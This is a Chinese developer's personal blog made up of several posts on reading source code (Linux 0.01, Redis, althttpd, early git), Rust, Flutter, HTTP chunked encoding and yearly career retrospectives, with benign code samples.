foobar2024

很讨厌一个四字短语:人到中年,所以不想用这四个字开头。

人到中年,发现最宝贵的东西是时间,因为你不管怎么用到头来都会觉得有些浪费。所以,我都浪费钱买了个域名(一年能解析10000次不?给域名商省钱了),难道还要我浪费更宝贵的时间写 blog?/doge

只要稍做分析一下投入时间的产出比,就能轻易得出结论:blog 的更新频率只能是单调递减的,原来本就不期望笔耕不辍,现在就能更心安理得的越写越少。

不过单调归单调,还是不能趋近于零。因为多少写写,留给将来的自己review(鄙夷)一下,还是有点价值的。

Boring Tech

这几年流行一股实用主义风潮:Just use the BORING tech! 因为 Boring Tech 经过时间验证,坑少特性全,皮实耐用。人力成本低不说,产出还不低,就两个字 —— 好用

确实,从 Run A Business 角度来说,使用 Boring Tech 绝对是首选。

BUT,这里总是有个 BUT,从个人的角度,这里却有个最大的问题 —— Boring。就拿最常见的 web 开发来说,无聊具体体现在:前端一顿折腾就输出了一个text/html,其他都交给浏览器就行;后端一顿折腾最后就写了一条SQL,其他的交给 framework 交给其他的 component 就行。

响应式、渐进式、高可用永远都是名词,只能远远的望见森林,却一棵树都不认识。

现代代码开源的繁荣,确实降低了广义上程序员的门槛,不需要,只要会。不过本来社会大分工的目的就在于提高生产力,专业的人做专业的事,没那么专业的人做不需要太专业的事,这是符合社会发展的自然规律的。

但是只用不懂,等于浪费了开源。

?书读百遍其义自见。

Read The Code

读代码永远比写代码难,这个毋庸置疑。原因无非:

  1. 语言原因,一个你都无法写的编程语言,必然也是不能读的。
  2. 还是语言原因:编程语言的易写和易读是相悖的,写的越舒服,就表明 explicit 的元素越少,读的也就越困难。现而今流行的 javascript python 之类弱类型的语言,本来就为写起来舒服服务的。
  3. knowledge 原因:缺乏现代计算机基础的 knowledge,比如不知道 fs 的抽象,基础的 io 没概念,那必然读不懂数据库存储的代码。
  4. 还是 knowledge 原因:缺乏领域相关的 knowledge,连 CNN 的概念就不知道,那读 LLM 的库就跟读天书一个意思。

解决办法也很简单(不简单):

  1. 语言:多写。你想读的代码用的语言,只会写 javascript 必然读不了 sqlite,想要读,简单的数据结构算法啥的总得都用 C DIY 一遍,才能找到些感觉。
  2. knowledge:多学。基础知识写到哪儿学到哪儿,今天了解一个 syscall,明天了解一个 register,多问 AI 多看 manual。而 domain knowledge 最好还是看 paper 这种第一手的,这个门槛真没想象那么高。

还有一个读代码的杀手锏,永远带着问题去读,起点是一个问题,终点可能是一个答案外加一大堆收获。

拿我近两年读的最有启发性的代码为例:

Linux 0.01

我有个很大的问题:x86 的 *nix kernel 是如何把自己和 user space 隔开的?

我不但得到了我的答案,还把很多东西都串联在了一起,有种融会贯通的通畅感。

简单的答案:fork (in init/main.c)

复杂的答案:

fork 这个 syscall 会 copy 当前进程的地址空间,在不执行任何指令的时候,两个进程应该是长得基本一样的。看一个简化的执行序列,从后往前推:你的 process 从 shell fork 而来,shellinit fork 而来,而 init 竟然是从 kernel fork 而来的!

所以,每个 process,其实从根源上都是从 kernel 派生的,证据就是每个 process 的 0xf 地址都住着同一份 kernel 代码(并不是 copy 而是 physical address 层面的一致),这也就是为啥 linux 叫 monolith kernel,因为每个进程觉得自己都有一个大而全的 kernel 只为自己服务。有了这个认知了以后,也就不难理解 micro kernel 的信徒会觉得 monolith kernel 不够安全,因为如果有漏洞导致 process 越权,那么将会影响到这个 os 上的每一个 process。

但实际上越权又非常的困难,因为切换实模式或者 ring code 只有 kernel code 能操作,CPU 只通过 CS 寄存器(正在执行指令的高N位),就可以很容易而且高效的检查出正在执行的指令是否非法:CS > 0xf。而 application 想要做高权限操作,只有 syscall 这一条路。

而 syscall 了以后,程序进入 kernel space,这个时候,事实上只有一份的 kernel code 就可以通盘做进程调度或者其他的全局操作了。(除了 syscall,其他时候也会进入 kernel space,毕竟启动了以后的 kernel code 就 while(1) 在了 schedule() 上)

Redis 7

我有很多问题,但基本上都能在 redis 里找到答案。

咋写一个高效的 event loop?

while(1) 然后阻塞在 epoll_wait 上,对了,你还需要抽象一个跨平台的 epoll family,然后还要记得 epoll_ctl_add 一些仔细构造的 time event ,防超时还能优化调度。

咋实现高效的 hashmap ?

rehashing 的时候用 double buffer + one frame one step,很像传统游戏引擎的玩法。

还有啥更高效的 key-value 数据结构?

hardcode lookup table,关掉大脑里的 linter (和密集恐惧症)。

基本上,redis 的 codebase 已经代替掉了 lua(lua 的 code style 太老,有太多 global state,很容易跟不上上下文),成了我心中的 Best C Codebase,各种问题想起来都可以在里头 rg 一下看能不能找到答案。

Write The Code

读完了还需要写,我依然觉得 get your hands dirty 是最好的学东西的方式。

这两年写过的好玩的东西:

光追

跟着文章完整写了个 ray-tracing 的 demo,写完了才感觉 Rust 终于入了个门。

json serializer

一个Json Parser,铆足了劲儿优化半天,基本跟 Rust de-facto 的 serde-json 差不多性能,比 v8 慢点,但约莫还是一个数量级。

javascript

一个基本能跑(指可以跑递归的 fib 函数)的 javascript 实现

Advent of Code

一年一次(2023, 2022),比 LeetCode 有趣(连 antirez 也这样觉得),写多了屎山代码可以用作调剂。

END

2021 Retospective

本来 21 年攒了个 Flutter 的 po,结果拖拖拉拉拖到了 22 年也没写完,干脆凑点其他杂七杂八的东西,一起发个年度回顾,阿 Q 一下也算是完成了自己的年度 KPI。

End2End Me

一个人在工作了十年之后,很难不去回顾自己的职业生涯。在还算特殊的经历的塑造之下(web 全栈 && 游戏客户端),突然发现自己逐渐成为究极进化!了某种 E2E Dev:from client GPU-END to server CPU-END。虽然算不上精通,但至少从渲染到计算,都还算的上了解。从前到后,从上到下,也能组个像模像样的技能树:

  1. 能写 web UI
  2. 能用 Flutter
  3. 能用 Unity
  4. 稍微能写 native mobile UI,其实 MFC 也会点
  5. 稍微能写简单的 shader,只针对 programable pipeline,光追的 pipeline 不行,gpgpu 不会
  6. 稍微能改 Flutter engine,能读 game engine
  7. 能写 managed server runtime,java 不会且讨厌
  8. 稍微能写应用层 network
  9. 稍微能写 *nix native (Rust or C)
  10. 稍微能做较为深入的调优 (by flamegraph/valgrind eg.)

虽然这技能树跟各种攻略上的可能差距较大,但自己玩的还算快乐。各种代码(从 three.js 到 tokio.rs)和 paper (从 SIGGRAPH 到 USENIX)读起来也都没啥障碍,想学点新东西还是挺快的。可能乱点技能树后触发了隐藏 bonus:可用技能点+++。

也看过一些职业规划的建议:尽量找交叠的领域,作为发展方向。代入我自己的变量,感觉只有已经过气的云游戏最合适了。

抛开那些莫须有的职业发展焦虑,扪心自问一直还算热爱编程,那给自己前 10 年的职业生涯打个 90 分不算过分吧?

Rust is MY new Ruby

Rust 在 2021 正式成为了我的新 Ruby —— AKA: 想顺手/随手写个啥(eg: 写个Json Seriailizer、写个Ray Tracing),就用 Rust(Ruby)吧。从 StackOverflow 的年度统计来看,Rust 早就蝉联好几年 Most Loved Language,我算是后知后觉,不过最后还是着了 Rust 的道。

虽然 Rust 和 Ruby 在 strong-type/weak-type 上基本上在两个极端:一个非常严谨、另一个异常灵活。用 Ruby 你总是能发现“茴香豆”的 100 种写法,并且还能挑个自己看得最顺眼的写法。而 Rust 却总是告诉你“艹字头”应该写得更工整一点,不然会被认错的哦。人人都抱怨 java 写起来太 verbose 了,但人人都喜欢 Rust 的编译报错太 verbose 了。不夸张的说,能看懂 Rust 的各种编译报错(what & why),也就算得上是入门了。

诚然,除了类型系统,Rust 和 Ruby 还有许许多多的差异:比如 Native VS VM 等等。但从另一些角度来看,这两门语言还是有点共性的。

比如:Expressive。随便找了两段 rails 和 axum 的代码:

class PeopleController < ActionController::Base
  # This will raise an ActiveModel::ForbiddenAttributesError exception
  # because it's using mass assignment without an explicit permit
  # step.
  def create
    Person.create(params[:person])
  end

  # This will pass with flying colors as long as there's a person key
  # in the parameters, otherwise it'll raise an
  # ActionController::ParameterMissing exception, which will get
  # caught by ActionController::Base and turned into a 400 Bad
  # Request error.
  def update
    person = current_account.people.find(params[:id])
    person.update!(person_params)
    redirect_to person
  end

  private
    # Using a private method to encapsulate the permissible parameters
    # is just a good pattern since you'll be able to reuse the same
    # permit list between create and update. Also, you can specialize
    # this method with per-user checking of permissible attributes.
    def person_params
      params.require(:person).permit(:name, :age)
    end
end
#[tokio::main]
async fn main() {
    // initialize tracing
    tracing_subscriber::fmt::init();

    // build our application with a route
    let app = Router::new()
        // `GET /` goes to `root`
        .route("/", get(root))
        // `POST /users` goes to `create_user`
        .route("/users", post(create_user));

    // run our app with hyper
    // `axum::Server` is a re-export of `hyper::Server`
    let addr = SocketAddr::from(([127, 0, 0, 1], 3000));
    tracing::debug!("listening on {}", addr);
    axum::Server::bind(&addr)
        .serve(app.into_make_service())
        .await
        .unwrap();
}

// basic handler that responds with a static string
async fn root() -> &'static str {
    "Hello, World!"
}

async fn create_user(
    // this argument tells axum to parse the request body
    // as JSON into a `CreateUser` type
    Json(payload): Json<CreateUser>,
) -> impl IntoResponse {
    // insert your application logic here
    let user = User {
        id: 1337,
        username: payload.username,
    };

    // this will be converted into a JSON response
    // with a status code of `201 Created`
    (StatusCode::CREATED, Json(user))
}

// the input to our `create_user` handler
#[derive(Deserialize)]
struct CreateUser {
    username: String,
}

// the output to our `create_user` handler
#[derive(Serialize)]
struct User {
    id: u64,
    username: String,
}

不难发现这两门语言(严格来说:也跟框架有关),在开发 web server 的时候,他们的代码都可以算作是 DSL 了。神奇的是,Ruby 是靠的 meta programming 和 weak type,而 Rust 是靠的 type inference 和 strong type,殊途同归。

关于 Rust 和 Ruby 另一个比较悲伤的共性则是:大多数程序员不会在 everyday work 中使用他们,因为这两门语言以前不是主流,以后也不太可能成为主流。原因么,不外乎就是现在同样定位的技术(Java C++),已经非常成熟而且还在不断发展,再加上惯性的作用,让后来者很难去替代他们。考虑到距离产生美 or“得不到的永远在骚动”,就不难理解为啥这两门语言是Most Loved了。

Flutter

Flutter 算是我的“年度真香”项目,完全没想到 google 不是玩票而是挺认真的做了套跨平台的 UI Framework

Q&A

每种技术都是对某个特定问题的解答。

从 Flutter 这个解答不难反推得到 google 定义需要解决的问题:目前没有一套跨平台&高性能的 UI 框架。跨平台是技术需求:减少双平台总的代码量;高性能是用户需求:顺滑才是良好的用户体验,而用户并不关心 app 最终多写了或者少写了多少代码。

而 google 对这个问题的解决方案也很直接:再做一个 browser / game engine,多一层抽象,开发者(大部分时间)只面向 engine 编程。

Cons

  1. engine 本身复杂度太高,即使是 google,issues 依旧维持在 5K+,而且 engine 一旦有 bug,开发者基本上只能等更新
  2. engine 打包进 app,增加了 app 的包大小,compile 和 startup 的速度也变慢了
  3. 在 Flutter 里“画”出来的组件,跟 iOS/android 的原生组件始终存在差异(包括表现和行为),体验缺乏一致性
  4. 需要平台相关功能的时候,还是逃不过写 ObjC 和 Java
  5. 大团队和大项目肯定是分平台开发,小项目没法反哺,项目基本只能靠 google 推

Pros

  1. engine 本身复杂度太高,但是有人帮你写了
  2. 现代 UI 的编程模型:申明式组件树(跟 React 和 SwiftUI 长得很像)
  3. 使用起来有一定的自由度,可以用默认的 host(by flutter create),也可以把已有 app 当成 host,用 flutter 做扩展

Highlight

Seperating trees

现代 UI 框架基本都以树来组织组件这个没什么好说的,无论是是从理论还是实践都是最优解了,但 Flutter “三棵树”的设计还是挺有意思的:

  • Widget Tree: “可编程”的树,面向开发的基本接口,函数式风格(但 dart 本身是 OO 风格的,为了更契合 flutter,dart 中的new是可选而且大家都不选的)。有几分神似 React 中的 hook 风格,每次 render 的起点在于 UI init或者某个 widget 的setState,然后依次调用 UI tree 上每个相关 widget 的build。跟 React 不同的是,flutter 的风格更加简洁显式,没有了 reactive property,只能使用显示的setState来让 UI 重绘。需要关注的“lifetime hook”也只集中在initStatedispose,因为每次都是“new”的,没有“update”了。虽然 Flutter 提供的 widget 很多,但其实都是各种 wrapper,只是为了减少 boilerplate 用的,实际核心的 API 非常的少,就连各种 animator,也就是每帧调用setState罢了。
  • Element tree:沟通上下两棵树的中间树,因为上层 widget tree 的“函数式”和“不可变”,所以所有状态就需要 element tree 来管理。而 element tree 需要管理的也仅仅只有状态,就连setState也只是改变了一个 dirty flag 而已。实际的渲染交给了另一个树和另一个线程(对 flutter create 出来的 ios/android app 是独立的 render 线程)
  • Render tree:实际负责渲染的树,渲染完成了以后更新 element tree 中的状态。render tree 的核心代码都在 c++里,包括 raster cache 等等,部分代码如canvas.drawRect等以 FFI 的形式提供给 dart。

Seperating concerns

分离三棵树带来的好处之一,就是能很自然的做出符合直觉的多线程设计,rasterization 和 ui 跑在不同线程里,ui(widget tree)只能提交“draw command”,而 rasterization 在另外的线程中执行,尽量让图像表现更 smooooooooth。

事实上,flutter 整个项目的模块化都做的很出色:从 flutter 和 flutter engine 两个 repo 的分离,再到 engine 中每个模块的划分:flow 负责缓存和组织 Skia Picture & Layer、shell 负责对 host 提供唯一的 flutter engine api、etc。

确实是 google 认真做的项目,质量还是挺可靠的。

Skia

顺便看了下地球上使用最广的 2d 图形库(主要是靠 chrome 和 android \doge),因为只专注于 2D 渲染,所以 API 风格是类似 OpenGL 固定管线的(UI 编程,能有一个场景需要自己写 shader 么?好奇)。

最厉害的地方在帮开发者摆平了跨平台的问题,底层可以使用 OpenGl、Vulkan、Metal 或是 CPU 来渲染,甚至还可以渲染成 PDF。虽然 cpp 代码看起来有点费劲,但好在跟 flutter engine 一样挺 modern 的(c++14),连格式化都很 new school 的:

We use 4 spaces, not tabs.

Dart

跟 Swift 一样专门为了 UI 而优化的语言,没啥好说的,就是挺好用的:符合现代 UI 开发的直觉,学习成本极小(to me)。

Not End Yet

疫情重塑世界的同时,也顺手影响了下我微不足道的世界观。我现在是不太相信“明天会更好”了,但我相信:明知会很难,还要努力做,才比较厉害!

END

读alhttpd有感

读了下althttpd的源代码,想研究下 one-process-one-connection 模型的服务器具体是咋实现,结果核心代码也就 20 来行(省略了外头的while(1)和变量声明):

select( maxFd+1, &readfds, 0, 0, &delay);
for(i=0; i<n; i++){
  if( FD_ISSET(listener[i], &readfds) ){
    lenaddr = sizeof(inaddr);
    connection = accept(listener[i], &inaddr.sa, &lenaddr);
    if( connection>=0 ){
      child = fork();
      if( child!=0 ){
        if( child>0 ) nchildren++;
        close(connection);
        printf("subprocess %d started...\n", child); fflush(stdout);
      }else{
        int nErr = 0, fd;
        close(0);
        fd = dup(connection);
        if( fd!=0 ) nErr++;
        close(1);
        fd = dup(connection);
        if( fd!=1 ) nErr++;
        close(connection);
        return nErr;
      }
    }
  }
}

流程异常简单:

  1. 父进程:select => accept => 计数 => 关闭 connection 的 fd => select
  2. 子进程:把 stdinstdout 都替换成 connection 的 fd => 跳出循环 => 处理 req/res

先不考虑多进程带来的性能问题,这个设计实在是简洁和漂亮:子进程直接读stdin处理 request;子进程直接写stdout处理 response;子进程遇到异常直接exit就 OK 了,没有 leak 烦恼,安全性也好处理,还不影响主进程继续处理后续请求。

原谅我没咋度过 linux 的服务器源代码,直接把子进程的stdinstdout替换成 socket fd 这个设计还是让我“大惊小怪”了一把,everything is file yyds!设计 Unix 的先贤们 yyds!

END

Reading git#1

机缘巧合之下,读了下git第一个版本的源代码

环境问题是最难搞得

首先,当一个repo有6W+的commit,咋找第一个commit都是个问题了,幸好git的option多——git log --reverse。 05年的repo在今天的macOS上build起来有点费劲,主要的依赖(openssl crypto zlib)好搞,就是些google的活。但代码compile不过就很难受了,原因是__DARWIN_STRUCT_STAT64已经跟当时的stat已经长得不一样了,好在都是些好猜的属性(sec,nsec之类的),改点代码make倒是没问题了,make出来有七个executable,而不是一个git:

  1. cat-file(≈ git cat-file)
  2. commit-tree (≈ git commit)
  3. init-db(≈ git init)
  4. read-tree(≈ git ls-tree)
  5. show-diff(≈ git diff)
  6. update-cache(≈ git add “blob”)
  7. write-tree(≈ git add “tree”)

除了命令不太一样,初始版本的git跟今天还是有些行为差异的——比如在init-db的时候在.dircache/objects下面把所有可能的255个文件夹都建好了(从 00/ 到 ff/);比如 .git/ 原来叫 .dircache/;比如设计之初是想要全局(跨repo)共享 objects 的。

god’s coding style:

  1. tab over space
  2. 单行body的if省略了{}
  3. 其他就随心所欲了,goto乱来,control flow巨难读懂,基本上是站到了《Clean Code》和《Refactor》的对面
  4. 能写一行绝不写两行,这个是真强&真cool

god’s design:

整个系统的设计确实巧妙,特别是object db的设计:https://git-scm.com/book/en/v2/Git-Internals-Git-Objects,十几二十年来都没什么大变化,历久弥坚。

首先是所有object的文件内容都用统一的格式持久化:

<ascii tag without space> + <space> + <ascii decimal size> + <byte\0> + <binary object data>

然后内容用zlib压缩以后算一个SHA1,作为文件名(分了文件夹以后)存在 objects/ 下。

tag 有 blob tree commit 三类,blob 的 binary data 就是文件内容,好说。而 tree 的binary data 是一个指向其他 object 的“指针数组”,每一项按permission/name/blob来组织。但是光看文章和repo里的readme确实没咋想通这个数据格式里,permission是个int(4bytes)、blob就是其他object的SHA1(20bytes),都是定长的,但中间那个name却是个变长的结构(真实的文件名或目录名),size是咋确定的?

原来是个\0:

offset += sprintf(buffer + offset, "%o %s", ce->st_mode, ce->name);
buffer[offset++] = 0;
memcpy(buffer + offset, ce->sha1, 20);
offset += 20;

怪我c写得少

END

原来Content-Length如此不重要

一直以为HTTP1.0/HTTP1.1中的response header里的content-length 是个挺重要的Key,毕竟body读多长都要靠这个字段控制,种地全靠它协议能正常工作全靠它。

现在反思一下,这个误解主要来自两个方面:一是自己实现过的协议,基本都是靠类似的实现去读header和body; 二是根本没认真思考过http1.1时代的流式传输,server往client写个巨大的文件流,难道还要全部读完了读出length才能传输吗?显然不是,这都不叫流式传输了啊。

直到最近想cache一个gzip过的response,才发现了这个知识的盲区——transfer-encoding。 简单的说,就是response header有transfer-encoding: chunked的时候,不用给content-length,直接按某种简单的编码方式一个一个chunk传body就行。

const http = require('http')

/**
 * @param {String} str 
 */
function encode(str) {
    const lengthFrag = str.length.toString(16)
    const rst = `${lengthFrag}\r\n${str}\r\n`
    console.log(rst)
    return rst
}

http.createServer((req, res) => {
    if (req.url === '/foo') {
        console.log('req received')
        res.socket.write(
            'HTTP/1.1 200 OK\r\n' +
            'Content-Type: text/plain\r\n' +
            'Transfer-Encoding: chunked\r\n' +
            '\r\n')

        let counter = 0
        const clock = setInterval(() => {
            console.log(counter)
            if (counter < 10) {
                const chunk = encode(`the time is: ${new Date().getTime()}\r\n`)
                res.socket.write(chunk)
                counter++
            } else {
                clearInterval(clock)
                // end
                res.socket.write('0\r\n\r\n')
                // res.socket.end()
            }
        }, 200);
    } else {
        res.writeHead(404)
        res.end()
    }
}).listen(9000)

代码一目了然,浏览器测了下也没啥问题。然后随手看了下其他网站的header,发现很多请求好像没带content-length也没带transfer-encoding,一样也挺正常。

小问号就多了很多小朋友,然后就改了两行代码,1. 不传header 2. 写完了把socket直接end掉,而不是write特殊的tail

const http = require('http')

/**
 * @param {String} str 
 */
function encode(str) {
    const lengthFrag = str.length.toString(16)
    const rst = `${lengthFrag}\r\n${str}\r\n`
    console.log(rst)
    return rst
}

http.createServer((req, res) => {
    if (req.url === '/foo') {
        console.log('req received')
        res.socket.write(
            'HTTP/1.1 200 OK\r\n' +
            'Content-Type: text/plain\r\n' +
            // 'Transfer-Encoding: chunked\r\n' +
            '\r\n')

        let counter = 0
        const clock = setInterval(() => {
            console.log(counter)
            if (counter < 10) {
                const chunk = encode(`the time is: ${new Date().getTime()}\r\n`)
                res.socket.write(chunk)
                counter++
            } else {
                clearInterval(clock)
                // end
                res.socket.end()
            }
        }, 200);
    } else {
        res.writeHead(404)
        res.end()
    }
}).listen(9000)

嗯,果然,只要把socket关了就好了,不想传content-length就不传吧,浏览器一样正正常常的。

http果然是个兼容性很强的协议呢!

END

2019年度想不出标题

从公历年底拖到了农历年底,还是要杂七杂八写点东西。

技术

以后的职业生涯,还是得做技术。

Fun

可能有些矫情,但是还是要感慨一下:“职业生涯能跟技术(信息技术)强相关真的太有趣了”。原因么?可能更加矫情——完美符合“唯物主义世界观”。

计算机——在不考虑量子计算机一夜之间突然普及的情况下——也就是冯诺依曼机,是个建立在确定性之上的玩意儿:电流通过晶体管,不是 0 就是 1;按一下键盘按键,就是会在操作系统层面产生一个中断;公司给你银行账户打了 100 的工资,到账金额很难大于 100 块。一个再复杂的软件系统,在忽略一些条件——比如硬件故障(随手搜了下,2019 年主流硬盘一年也就不到 2%的故障率)、软件 bug 的条件下,给定一个确定的收入,必然有一个确定的输出。比如 google 搜索,应该是地球上最大最复杂的几个 codebase 之一了,但是在足够熟悉背景知识和代码的前提下,给定一个关键词,你总是有办法预测返回的 html。而另一些复杂的“系统”,就根本无法预测,比如明天的 A 股指数。

为了保证确定性复杂性则无法避免(能力有限,无法做形式上的证明),而解决复杂性,就是这门行当的乐趣所在了。这种乐趣,可以类比于解决了数学试卷上最后一道大题的智力上的满足感,如果你 get 不到这种满足感,多半也不适合于理工科的工作了。就拿我比较熟悉的互联网/游戏领域来说,复杂性的问题们由来已久、司空见惯,前端要解决负责状态与 UI 的同步问题;后端要解决单台计算机算力不足的问题;游戏就是要在苛刻的的条件下渲染出让人满意的画面。面对这些问题,不断有个人/公司/甚至是一堆相互完全不认识只是信奉开源的个人(真有宗教的气味)提出各种各样的解决方案,持之以恒、孜孜不倦。而在熟悉和膜拜了各种解决方案以后,能够自己提出一个哪怕是再微小再袖珍的解决方案,也足以让人神清气爽。这还只是技术的层面,再结合产品、运营等等,一个项目的复杂性更是比“最后一道大题”还会要大,如果能解,则喜不胜收。

科&技

某个 podcast 听来的——中国自古不缺技术,只是缺科学。这一理论在现而今的 IT 领域又一次得到了验证:应用层面 BAT 市值巨大、基础层面(硬件、操作系统)差距巨大。考虑历史进程,这一现状也不是不能理解,毕竟西方抢跑了几十年。不过只要政策有倾斜,上层足够重视,我相信依靠我大社会主义先进性,差距还是能缩小甚至反超的。只是让人看不懂的是,都 9012 年了,还有借着微内核国产编译器疯狂营销的(我也相信还是有强行给大家一点信心的因素的)、还有 python 套个皮装木兰的(这个就纯粹是在贡献段子了)、做区块链躲到海南去还要上交超级密钥的。只能说荀子说得对,性本恶。

拔得有点太高了,说回个人层面,当个程序员,还是很能体会到科学和技术之间的碰撞的。其他领域不了解,但我觉得高级一线工人需要偶尔读个一两篇 paper 的工种不会很多,而程序员就是其中一个。做游戏的,读点 SIGGRAPH 正常吧;做大数据的,google 的 BigTable 那几篇应该怎么也扫过;都不做,为了赶上潮流,比特币的“圣经”总也还是撇过一两眼的。

赶上了科技革命的浪潮,计算机领域从科学到技术的转化简直是前所未有的快。youtube 看了个视频,某 AI 领域做 deep learning 的专家,在大家都不看好的情况下,坚持研究,终于赶上了 AI 浪潮,一朝翻身成为学术权威,下狗逆袭,可歌可泣。我专门注意了一下老专家入行的时间——80 年代初,满打满算也就 40 年不到,AI 也就从实验室走出来,走到每个人的身边了。40 年就等来了大规模应用,隔壁 20 世纪初诞生的高能物理啥的,羡慕到哭呀。

环境这么友好,程序员怎么能不“两手都要抓,两手都要硬”呢?

科学硬!动态规划的面试题不会做,总得知道O(n*log(n))好过O(n^2)吧;白板上写不出来二叉树反转,看看 wiki 电脑上总是写得出来吧;raxeax分不清(正是在下,mac 上写了个 helloworld 老是 link 不过,结果抄的是 32 位的汇编),branch prediction 也该晓得一二。别说“这有啥用”“反正又用不到”,用处可大了!往大了说:人类这个族群就是靠些“没啥用”的研究进步的(市井的角度讲,古希腊研究天文有啥用?);往小了说:本来生活就很“贫瘠”了,总不能连好奇心都丢了吧。

技术硬!能明白好的工程都是妥协,都是 tradeoff,不去钻牛角尖,晓得 premature optimazation 不但是 evil 也是成本的浪费。每一个方案,从 why 到 how 都很重要。太阳底下没有新鲜事,从这个项目到另一个项目,从这段代码到那段代码,可以是 copy->paste,也可以是 copy->learn->paste,更可以是 copy->study->learn->write。

两手都硬的程序员,才是个好的“纺织女工”,才算得上是“计算机基础扎实”。

语言

rust

自己三番五次的想要入坑 rust,终于找到点时间看完了一遍 tutorial,学习曲线是挺陡的。主观感受 rust 的定位还是很明确的——需要做 native 甚至是 system level 开发,但是嫌 C“原始”,又嫌 C++“复杂”(内存管理的复杂)的场景。borrow checker 这东西比 objective-c 的 auto release 成熟多了、也合理多了,下次有需要 native 的场合,一定要试下 rust。关于额外收获,在某个 rust 的 talk 里有这样一张图,图片来自 youtube 截图:

rust-runtime-memory

这个对 runtime 的图示真的挺有启发性的,管你是 native 编译还是有 VM,从进程内存的角度来看都有依赖。并不是说 native 不需要装些 runtime 就没依赖了,只是依赖多少罢了,少的依赖个 libc,多的依赖个 v8。反正你的进程里总还是有别人写的代码,就算是汇编,进程里都还是有 kernel 的代码呀(针对宏内核)。VM 听起来又是 GC 又是 JIT 的,说白了就是有人帮你写了很多代码(不管有用没用、好不好用,你都的用)。写代码的基础就是站在前人的肩膀上。

thinkPHP

php 用过,这次是必须要改点用了 thinkPHP 这个框架的代码,也就顺便看了下这个框架。看了下来,只有实名 diss 这一种态度,并不因为是国货而有任何偏袒。知乎上有理有据的 diss 挺多,我只说一点:一个框架,官网上全是广告我理解,都要恰饭,但是为啥文档里只有 how,根本没有 why。设计思路啥的完全不谈,advanced topic 根本没有,全都是“如果你需要 X 功能,那就 copyY 代码就可以了”。这是真把人往码农上带啊。这是中国最流行的框架之一,可怕。

开源

吹爆开源!再感慨一次,这个时代的程序员是何其幸运,在任何领域,想要学习工业上最成熟的解决方案,也就是在 github 上“冲冲浪”的事情。

前段时间搜我自己的邮箱,偶然看到两个邮件:一个是我原来翻译过 ruby 的官方网站中的某个页面;二是发邮件问某库作者一个实现的问题,人家洋洋洒洒给我解释了一大堆。单独看起来没什么值得大惊小怪的,但这两个邮件都是 2013 年的事了,也就是在我开始职业生涯不到 3 年的时间里发生的,可以想象对一个“初级程序员”来说,这都是多么大的鼓励。感谢国际友人,感谢开源。

Merkle Tree

震惊,一个数据结构支撑了世界上 80%的程序员的日常工作,还值千亿美元?!!

嗯,merkle tree,因为比特币的大火成了“网红”数据结构,图片来自 wiki:

merkle-tree

说简单点就是一颗二叉树,只用来记录 meta 信息,叶子节点记录真实的数据块的 hash,其他节点记录两个子节点的 hash 值拼接后的 hash(parent = hash(left ++ right))。这个数据结构应用非常广:bt 下载校对文件、比特币在一个节点里记录 tx、git 里的 tree hash(严格来说不是 merkle tree,因为不是二叉树,是个多叉树)。这个数据结构核心就是:易容定位差异!如果一个数据块发生了变化(bt 下错了一段文件、比特币篡改了一笔 tx、git 里修改了一个文件),那么对应节点的所有祖先节点都会连带发生变化,那么从 root 开始对比,也很容易找到最终是哪一个或那几个数据块发生了变化(最后重新下载错的文件块、deny 掉篡改、checkout 的时候只还原出对应文件即可)。

似乎 bt 下载的历史上,还出现过一个更简单的数据结构:还是切分数据块,每块算 hash,然后把每个 hash 相连算一个总 hash(finalHash = hash(hash0 ++ hash1 ++ …. hashN)),没有树形结构。跟 merkle tree 相比似乎也能很快的对比出文件在总体上有没有变化,但是无法定位到底是哪一个数据块发生了变化,出错的时候只有重新全部重新下载一次了(从 99.99%重新变成 0%,似乎我也经历过)。

总的来说,就是一个“看过参考答案会直呼原来如此”就忘不掉的实用数据结构。

管理

管理的方法论比较欠缺,都是一些身体力行之后的浅显经验(又称土法炼钢),说起来就三点:

  1. 建立制度:用互联网产品方法论的角度来讲就是——人都喜欢确定性。比起隔三差五临时发版,管他大小每周一个版本就是有效率;就算两分钟完事,每天定时一个早会也会让人更有团队的感觉。巴普洛夫训狗、老大哥管人、谎话说一万次就是真的,褒贬不论,重复就是能达成目标,这是生物本性。
  2. 完善沟通:人不是机器,很多现代的工作也不是光靠螺丝钉就能完成的,“发挥主观能动性”发挥你一个人没用,要尽量发挥所有人的。怎么发挥呢?有一个很“等于没说”但又很准确的答案:具体问题具体分析。但问题是啥,还是要沟通了才知道啊,所以沟通是一切的前提。
  3. 明确目标:这个东西才是长期来看最重要的,毕竟“人定胜天”,天天开会、一对一随时沟通也不能让你带队爬雪山过草地,“坚信必将解放全人类”才能。没那么大的目标咋办?目标不在大小,都相信就行。每个人的目标都不一样咋办?这个好说,有个很容易定的目标——说加薪就加薪,毕竟“一般等价物”,不就是拿来等价价值的吗。

技术管理

其实也没啥特别的,就是管理加上了技术的前缀。管理学从秒表加皮鞭进化而来,在需要创造性行业又渐渐失效。要怎么再次高效起来我不懂,毕竟不是研究管理学的,但我毕竟身处一个非常需要创造性的行业,还是有一些观察的。说简单点:就是将资源倾斜到有创造性的个体上(多给有创造性的人加薪、多招有创造性的新人)。那么要如何辨别“有创造性”的个体?没有一定的标准,但我觉得拿“有创造性”的必要条件来衡量一定没错——那就是“有学习能力”。不会的主动学、会的主动举一反三,学习能力还是比较容易辨识的。

END

Redis Expire

其实本篇本来是一个还挺多h3的大纲,只是其他条目我已经无法想起来究竟有啥好写的了,就只简单写一个主题——redis 过期 key 的策略。

简单翻译一下,redis 有主动过期和被动过期两个策略:

被动过期:就是 lazy 的策略,当访问到某个 key 的时候,会先检查 expire,如果已经过期了,就回收这块内存。

主动过期:redis 以 1 秒 10 次的频率(redis expire 的精度只能设置到秒),实施以下三个步骤:

  1. 随机找 20 个 key 和对应的 expire
  2. 删除所有过期的 key
  3. 如果第二步删除了 25%以上的 key(也就是 5 个以上),则重复第一步

看起来简单,却相对完美的解决了问题。

首先,问题(需求)是什么:

有过期时间的 key 需要有符合预期的行为——get 没过期的 key 时返回 value,get 过期的 key 返回 nil (当然还有可以手动 get/set expire)

如果只有主动过期策略,那么只有保证在每个最小时间周期上轮询每一个key 的过期时间,才能满足需求,这个过程在 key 多的情况下不可接受的,不仅仅是类似于 GC 的 stop the world,而且还只有挂起所有写操作,在频繁写的情况下根本就无法 restart。

那如果只有被动过期呢?stop the world 的问题解决了,但是在很多 key 写入以后不再读的情况下,内存又被用爆了(没有 read,就没有 delete)。

